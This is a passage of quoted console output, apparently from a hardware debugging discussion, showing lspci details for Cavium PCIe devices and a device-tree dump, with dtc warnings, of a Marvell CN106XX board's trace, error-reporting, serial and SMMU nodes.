> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0fc
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:19:00.0 System peripheral: Cavium, Inc. Device a0fb (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 858200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fd100000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=128 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0fc
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> root@localhost:~#
>
> root@localhost:~# dtc -I fs -O dts /proc/device-tree
> Warning (reg_format): "reg" property in /soc@0/spi@804000000000/flash@0 has invalid length (4 bytes) (#address-cells == 2, #size-cells == 2)
> Warning (reg_format): "reg" property in /soc@0/spi@805000000000/flash@0 has invalid length (4 bytes) (#address-cells == 2, #size-cells == 2)
> Warning (reg_format): "reg" property in /memory@0/msc@0x87e1c3240000 has invalid length (16 bytes) (#address-cells == 2, #size-cells == 1)
> Warning (reg_format): "reg" property in /memory@0/msc@0x87e1c0240000 has invalid length (16 bytes) (#address-cells == 2, #size-cells == 1)
> Warning (reg_format): "reg" property in /memory@0/msc@0x87e1c4240000 has invalid length (16 bytes) (#address-cells == 2, #size-cells == 1)
> Warning (reg_format): "reg" property in /memory@0/msc@0x87e1c1240000 has invalid length (16 bytes) (#address-cells == 2, #size-cells == 1)
> Warning (reg_format): "reg" property in /memory@0/msc@0x87e1c5240000 has invalid length (16 bytes) (#address-cells == 2, #size-cells == 1)
> Warning (reg_format): "reg" property in /memory@0/msc@0x87e1c2240000 has invalid length (16 bytes) (#address-cells == 2, #size-cells == 1)
> Warning (reg_format): "reg" property in /l3-cache/msc@0x87E053001000 has invalid length (16 bytes) (#address-cells == 2, #size-cells == 1)
> Warning (ranges_format): /memory@0 has empty "ranges" property but its #size-cells (1) differs from / (2)
> Warning (ranges_format): /l3-cache has empty "ranges" property but its #size-cells (1) differs from / (2)
> Warning (avoid_default_addr_size): Relying on default #address-cells value for /memory@0/msc@0x87e1c3240000
> Warning (avoid_default_addr_size): Relying on default #size-cells value for /memory@0/msc@0x87e1c3240000
> Warning (avoid_default_addr_size): Relying on default #address-cells value for /memory@0/msc@0x87e1c0240000
> Warning (avoid_default_addr_size): Relying on default #size-cells value for /memory@0/msc@0x87e1c0240000
> Warning (avoid_default_addr_size): Relying on default #address-cells value for /memory@0/msc@0x87e1c4240000
> Warning (avoid_default_addr_size): Relying on default #size-cells value for /memory@0/msc@0x87e1c4240000
> Warning (avoid_default_addr_size): Relying on default #address-cells value for /memory@0/msc@0x87e1c1240000
> Warning (avoid_default_addr_size): Relying on default #size-cells value for /memory@0/msc@0x87e1c1240000
> Warning (avoid_default_addr_size): Relying on default #address-cells value for /memory@0/msc@0x87e1c5240000
> Warning (avoid_default_addr_size): Relying on default #size-cells value for /memory@0/msc@0x87e1c5240000
> Warning (avoid_default_addr_size): Relying on default #address-cells value for /memory@0/msc@0x87e1c2240000
> Warning (avoid_default_addr_size): Relying on default #size-cells value for /memory@0/msc@0x87e1c2240000
> Warning (avoid_default_addr_size): Relying on default #address-cells value for /l3-cache/msc@0x87E053001000
> Warning (avoid_default_addr_size): Relying on default #size-cells value for /l3-cache/msc@0x87E053001000
> /dts-v1/;
>
> / {
> #address-cells = <0x2>;
> model = "Marvell CN106XX board";
> serial-number = "WA-CN106-A1-PCIE-2P100-R2-142";
> #size-cells = <0x2>;
> interrupt-parent = <0x1>;
> compatible = "marvell,cn10ka";
>
> soc@0 {
> #address-cells = <0x2>;
> #size-cells = <0x2>;
> sdk-version = "SDK12";
> runplatform = "HW_PLATFORM";
> compatible = "simple-bus";
> ranges;
> reg = <0x0 0x0 0x0 0x0>;
> phandle = <0xf6>;
> chiprevision = "B0";
> numa-node-id = <0x0>;
>
> ddrcpmu2 {
> marvell,ddr-speed = <0xc80>;
> compatible = "marvell,cn10k-ddr-pmu";
> reg = <0x87e1 0xc2000000 0x0 0x10000>;
> };
>
> ap_cti8@87a090010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xa>;
> arm,cs-dev-assoc = <0x77>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x90010000 0x0 0x1000>;
> };
>
> etf_cti2@87a004220000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x4220000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0x54>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> pmpcsr10@87a095020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xc>;
> compatible = "arm,primecell";
> reg = <0x87a0 0x95020000 0x0 0x1000>;
> };
>
> pmpcsr15@87a09f020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x11>;
> compatible = "arm,primecell";
> reg = <0x87a0 0x9f020000 0x0 0x1000>;
> };
>
> ap_cti3@87a086010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x5>;
> arm,cs-dev-assoc = <0x59>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x86010000 0x0 0x1000>;
> };
>
> etf1@87a004110000 {
> clock-names = "apb_pclk";
> memory-region = <0x4a>;
> clocks = <0x36>;
> cpu = <0x3>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x4110000 0x0 0x1000>;
> phandle = <0x4e>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0x4b>;
> phandle = <0x49>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x4c>;
> phandle = <0xd5>;
> };
> };
> };
> };
>
> etf_cti23@87a005720000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x5720000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0xd2>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> ete15 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x11>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0xa1>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x9d>;
> phandle = <0x9f>;
> };
> };
> };
> };
>
> sh_etf@87a100050000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> reg = <0x87a1 0x50000 0x0 0x1000>;
>
> in-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xec>;
> phandle = <0xd3>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xed>;
> phandle = <0xef>;
> };
> };
> };
> };
>
> ete0 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x2>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0x47>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x43>;
> phandle = <0x45>;
> };
> };
> };
> };
>
> ap_cti22@87a0ac010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x18>;
> arm,cs-dev-assoc = <0xcb>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0xac010000 0x0 0x1000>;
> };
>
> pmpcsr18@87a0a5020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x14>;
> compatible = "arm,primecell";
> reg = <0x87a0 0xa5020000 0x0 0x1000>;
> };
>
> serial@87e028000000 {
> clock-names = "apb_pclk";
> interrupts = <0x0 0x0 0x4>;
> clocks = <0x34>;
> skip-init;
> compatible = "arm,pl011", "arm,primecell";
> reg = <0x87e0 0x28000000 0x0 0x1000>;
> phandle = <0xf8>;
> };
>
> sdei-ghes {
> #address-cells = <0x2>;
> memory-region = <0x41>;
> #size-cells = <0x1>;
> compatible = "marvell,sdei-ghes";
> ranges = <0x0 0x0 0x9 0xfbf00000 0x400 0x0 0x400 0x9 0xfbf00400 0x6c00 0x0 0x7000 0x9 0xfbf07000 0xf9000>;
>
> core9 {
> event-id = <0x4000000c>;
> reg = <0x0 0x60 0x8 0x0 0x1000 0xfa 0x0 0x17800 0x1600>;
> };
>
> core21 {
> event-id = <0x40000018>;
> reg = <0x0 0xc0 0x8 0x0 0x1c00 0xfa 0x0 0x28000 0x1600>;
> };
>
> dss {
> event-id = <0x40000001>;
> reg = <0x0 0x8 0x8 0x0 0x500 0xfa 0x0 0x8600 0x1600>;
> };
>
> core11 {
> event-id = <0x4000000e>;
> reg = <0x0 0x70 0x8 0x0 0x1200 0xfa 0x0 0x1a400 0x1600>;
> };
>
> core7 {
> event-id = <0x4000000a>;
> reg = <0x0 0x50 0x8 0x0 0xe00 0xfa 0x0 0x14c00 0x1600>;
> };
>
> core5 {
> event-id = <0x40000008>;
> reg = <0x0 0x40 0x8 0x0 0xc00 0xfa 0x0 0x12000 0x1600>;
> };
>
> core18 {
> event-id = <0x40000015>;
> reg = <0x0 0xa8 0x8 0x0 0x1900 0xfa 0x0 0x23e00 0x1600>;
> };
>
> core3 {
> event-id = <0x40000006>;
> reg = <0x0 0x30 0x8 0x0 0xa00 0xfa 0x0 0xf400 0x1600>;
> };
>
> core16 {
> event-id = <0x40000013>;
> reg = <0x0 0x98 0x8 0x0 0x1700 0xfa 0x0 0x21200 0x1600>;
> };
>
> gic {
> event-id = <0x4000001b>;
> reg = <0x0 0xd8 0x8 0x0 0x1f00 0xfa 0x0 0x2c200 0x1600>;
> };
>
> core1 {
> event-id = <0x40000004>;
> reg = <0x0 0x20 0x8 0x0 0x800 0xfa 0x0 0xc800 0x1600>;
> };
>
> core14 {
> event-id = <0x40000011>;
> reg = <0x0 0x88 0x8 0x0 0x1500 0xfa 0x0 0x1e600 0x1600>;
> };
>
> core22 {
> event-id = <0x40000019>;
> reg = <0x0 0xc8 0x8 0x0 0x1d00 0xfa 0x0 0x29600 0x1600>;
> };
>
> core12 {
> event-id = <0x4000000f>;
> reg = <0x0 0x78 0x8 0x0 0x1300 0xfa 0x0 0x1ba00 0x1600>;
> };
>
> core8 {
> event-id = <0x4000000b>;
> reg = <0x0 0x58 0x8 0x0 0xf00 0xfa 0x0 0x16200 0x1600>;
> };
>
> core20 {
> event-id = <0x40000017>;
> reg = <0x0 0xb8 0x8 0x0 0x1b00 0xfa 0x0 0x26a00 0x1600>;
> };
>
> core10 {
> event-id = <0x4000000d>;
> reg = <0x0 0x68 0x8 0x0 0x1100 0xfa 0x0 0x18e00 0x1600>;
> };
>
> mdc {
> event-id = <0x40000000>;
> reg = <0x0 0x0 0x8 0x0 0x400 0xfa 0x0 0x7000 0x1600>;
> };
>
> core6 {
> event-id = <0x40000009>;
> reg = <0x0 0x48 0x8 0x0 0xd00 0xfa 0x0 0x13600 0x1600>;
> };
>
> core19 {
> event-id = <0x40000016>;
> reg = <0x0 0xb0 0x8 0x0 0x1a00 0xfa 0x0 0x25400 0x1600>;
> };
>
> core4 {
> event-id = <0x40000007>;
> reg = <0x0 0x38 0x8 0x0 0xb00 0xfa 0x0 0x10a00 0x1600>;
> };
>
> core17 {
> event-id = <0x40000014>;
> reg = <0x0 0xa0 0x8 0x0 0x1800 0xfa 0x0 0x22800 0x1600>;
> };
>
> core2 {
> event-id = <0x40000005>;
> reg = <0x0 0x28 0x8 0x0 0x900 0xfa 0x0 0xde00 0x1600>;
> };
>
> tad {
> event-id = <0x40000002>;
> reg = <0x0 0x10 0x8 0x0 0x600 0xfa 0x0 0x9c00 0x1600>;
> };
>
> core15 {
> event-id = <0x40000012>;
> reg = <0x0 0x90 0x8 0x0 0x1600 0xfa 0x0 0x1fc00 0x1600>;
> };
>
> core23 {
> event-id = <0x4000001a>;
> reg = <0x0 0xd0 0x8 0x0 0x1e00 0xfa 0x0 0x2ac00 0x1600>;
> };
>
> core0 {
> event-id = <0x40000003>;
> reg = <0x0 0x18 0x8 0x0 0x700 0xfa 0x0 0xb200 0x1600>;
> };
>
> core13 {
> event-id = <0x40000010>;
> reg = <0x0 0x80 0x8 0x0 0x1400 0xfa 0x0 0x1d000 0x1600>;
> };
> };
>
> ddrcpmu0 {
> marvell,ddr-speed = <0xc80>;
> compatible = "marvell,cn10k-ddr-pmu";
> reg = <0x87e1 0xc0000000 0x0 0x10000>;
> };
>
> sclk {
> clock-output-names = "sclk";
> #clock-cells = <0x0>;
> clock-frequency = <0x3b9aca00>;
> compatible = "fixed-clock";
> phandle = <0x36>;
> };
>
> sram@26,0 {
> #address-cells = <0x2>;
> #size-cells = <0x1>;
> compatible = "cpc-sram";
> ranges = <0x0 0x0 0x86d0 0xfc000 0x200>;
> reg = <0x86d0 0xfc000 0x0 0x200>;
>
> scp-shmem@0 {
> compatible = "arm,scmi-shmem";
> reg = <0x0 0x0 0x200>;
> phandle = <0xf2>;
> };
> };
>
> etf_cti9@87a004920000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x4920000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0x7e>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> etf_cti19@87a005320000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x5320000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0xba>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> ete23 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x19>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0xd1>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xcd>;
> phandle = <0xcf>;
> };
> };
> };
> };
>
> pmpcsr20@87a0a9020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x16>;
> compatible = "arm,primecell";
> reg = <0x87a0 0xa9020000 0x0 0x1000>;
> };
>
> etf_cti15@87a004f20000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x4f20000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0xa2>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> ete9 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xb>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0x7d>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x79>;
> phandle = <0x7b>;
> };
> };
> };
> };
>
> etf8@87a004810000 {
> clock-names = "apb_pclk";
> memory-region = <0x74>;
> clocks = <0x36>;
> cpu = <0xa>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x4810000 0x0 0x1000>;
> phandle = <0x78>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0x75>;
> phandle = <0x73>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x76>;
> phandle = <0xdc>;
> };
> };
> };
> };
>
> watch-dog@8020000a0000 {
> clock-names = "ref_clk";
> interrupts = <0x0 0x8 0x4>;
> clocks = <0x36>;
> compatible = "arm,sbsa-gwdt";
> reg = <0x8020 0xa0000 0x0 0x1000 0x8020 0xb0000 0x0 0x1000>;
> };
>
> smmupmcg3@830000160000 {
> compatible = "cavium,smmu-pmu-v3", "arm,smmu-pmu-v3", "arm,smmu-v3-pmcg";
> reg = <0x8300 0x160000 0x0 0x1000 0x8300 0x170000 0x0 0x1000>;
> msi-parent = <0x37 0x1c>;
> };
>
> ete13 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xf>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0x95>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x91>;
> phandle = <0x93>;
> };
> };
> };
> };
>
> serial@87e02d000000 {
> clock-names = "apb_pclk";
> interrupts = <0x0 0x5 0x4>;
> clocks = <0x34>;
> skip-init;
> compatible = "arm,pl011", "arm,primecell";
> reg = <0x87e0 0x2d000000 0x0 0x1000>;
> phandle = <0x137>;
> };
>
> bed-bert {
> #address-cells = <0x2>;
> memory-region = <0x42>;
> #size-cells = <0x2>;
> compatible = "marvell,bed-bert";
> ranges = <0x0 0x0 0x9 0xf7afe000 0x0 0x2000 0x0 0x0 0x9 0xf7afe000 0x0 0x2000 0x0 0x0 0x9 0xf7afe000 0x0 0x2000>;
>
> bert {
> reg = <0x0 0x0 0x0 0x800 0x0 0x800 0x0 0x1800 0x0 0x0 0x0 0x0>;
> };
> };
>
> etf_cti3@87a004320000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x4320000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0x5a>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> pmpcsr14@87a09d020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x10>;
> compatible = "arm,primecell";
> reg = <0x87a0 0x9d020000 0x0 0x1000>;
> };
>
> etf10@87a004a10000 {
> clock-names = "apb_pclk";
> memory-region = <0x80>;
> clocks = <0x36>;
> cpu = <0xc>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x4a10000 0x0 0x1000>;
> phandle = <0x84>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0x81>;
> phandle = <0x7f>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x82>;
> phandle = <0xde>;
> };
> };
> };
> };
>
> ap_cti2@87a084010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x4>;
> arm,cs-dev-assoc = <0x53>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x84010000 0x0 0x1000>;
> };
>
> st_funnel {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> compatible = "arm,coresight-static-funnel";
>
> in-ports {
> #address-cells = <0x1>;
> #size-cells = <0x0>;
>
> port@0 {
> reg = <0x0>;
>
> endpoint {
> remote-endpoint = <0xd4>;
> phandle = <0x46>;
> };
> };
>
> port@14 {
> reg = <0x14>;
>
> endpoint {
> remote-endpoint = <0xe8>;
> phandle = <0xbe>;
> };
> };
>
> port@9 {
> reg = <0x9>;
>
> endpoint {
> remote-endpoint = <0xdd>;
> phandle = <0x7c>;
> };
> };
>
> port@12 {
> reg = <0x12>;
>
> endpoint {
> remote-endpoint = <0xe6>;
> phandle = <0xb2>;
> };
> };
>
> port@7 {
> reg = <0x7>;
>
> endpoint {
> remote-endpoint = <0xdb>;
> phandle = <0x70>;
> };
> };
>
> port@e {
> reg = <0xe>;
>
> endpoint {
> remote-endpoint = <0xe2>;
> phandle = <0x9a>;
> };
> };
>
> port@10 {
> reg = <0x10>;
>
> endpoint {
> remote-endpoint = <0xe4>;
> phandle = <0xa6>;
> };
> };
>
> port@5 {
> reg = <0x5>;
>
> endpoint {
> remote-endpoint = <0xd9>;
> phandle = <0x64>;
> };
> };
>
> port@c {
> reg = <0xc>;
>
> endpoint {
> remote-endpoint = <0xe0>;
> phandle = <0x8e>;
> };
> };
>
> port@3 {
> reg = <0x3>;
>
> endpoint {
> remote-endpoint = <0xd7>;
> phandle = <0x58>;
> };
> };
>
> port@a {
> reg = <0xa>;
>
> endpoint {
> remote-endpoint = <0xde>;
> phandle = <0x82>;
> };
> };
>
> port@17 {
> reg = <0x17>;
>
> endpoint {
> remote-endpoint = <0xeb>;
> phandle = <0xd0>;
> };
> };
>
> port@1 {
> reg = <0x1>;
>
> endpoint {
> remote-endpoint = <0xd5>;
> phandle = <0x4c>;
> };
> };
>
> port@15 {
> reg = <0x15>;
>
> endpoint {
> remote-endpoint = <0xe9>;
> phandle = <0xc4>;
> };
> };
>
> port@13 {
> reg = <0x13>;
>
> endpoint {
> remote-endpoint = <0xe7>;
> phandle = <0xb8>;
> };
> };
>
> port@8 {
> reg = <0x8>;
>
> endpoint {
> remote-endpoint = <0xdc>;
> phandle = <0x76>;
> };
> };
>
> port@f {
> reg = <0xf>;
>
> endpoint {
> remote-endpoint = <0xe3>;
> phandle = <0xa0>;
> };
> };
>
> port@11 {
> reg = <0x11>;
>
> endpoint {
> remote-endpoint = <0xe5>;
> phandle = <0xac>;
> };
> };
>
> port@6 {
> reg = <0x6>;
>
> endpoint {
> remote-endpoint = <0xda>;
> phandle = <0x6a>;
> };
> };
>
> port@d {
> reg = <0xd>;
>
> endpoint {
> remote-endpoint = <0xe1>;
> phandle = <0x94>;
> };
> };
>
> port@4 {
> reg = <0x4>;
>
> endpoint {
> remote-endpoint = <0xd8>;
> phandle = <0x5e>;
> };
> };
>
> port@b {
> reg = <0xb>;
>
> endpoint {
> remote-endpoint = <0xdf>;
> phandle = <0x88>;
> };
> };
>
> port@2 {
> reg = <0x2>;
>
> endpoint {
> remote-endpoint = <0xd6>;
> phandle = <0x52>;
> };
> };
>
> port@16 {
> reg = <0x16>;
>
> endpoint {
> remote-endpoint = <0xea>;
> phandle = <0xca>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xd3>;
> phandle = <0xec>;
> };
> };
> };
> };
>
> smmu@830000000000 {
> dma-coherent;
> #iommu-cells = <0x1>;
> compatible = "cavium,smmu-v3", "arm,smmu-v3";
> reg = <0x8300 0x0 0x0 0x20000>;
> phandle = <0x39>;
> msi-parent = <0x37 0x18>;
> };
>
> refclkuaa {
> clock-output-names = "refclkuaa";
> #clock-cells = <0x0>;
> clock-frequency = <0xfe502a>;
> compatible = "fixed-clock";
> phandle = <0x34>;
> };
>
> ap_cti7@87a08e010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x9>;
> arm,cs-dev-assoc = <0x71>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x8e010000 0x0 0x1000>;
> };
>
> ap_cti21@87a0aa010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x17>;
> arm,cs-dev-assoc = <0xc5>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0xaa010000 0x0 0x1000>;
> };
>
> etf2@87a004210000 {
> clock-names = "apb_pclk";
> memory-region = <0x50>;
> clocks = <0x36>;
> cpu = <0x4>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x4210000 0x0 0x1000>;
> phandle = <0x54>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0x51>;
> phandle = <0x4f>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x52>;
> phandle = <0xd6>;
> };
> };
> };
> };
>
> pmpcsr17@87a0a3020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x13>;
> compatible = "arm,primecell";
> reg = <0x87a0 0xa3020000 0x0 0x1000>;
> };
>
> ete21 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x17>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0xc5>;
>
> out-ports {
>
> port {
>
> endpoint {
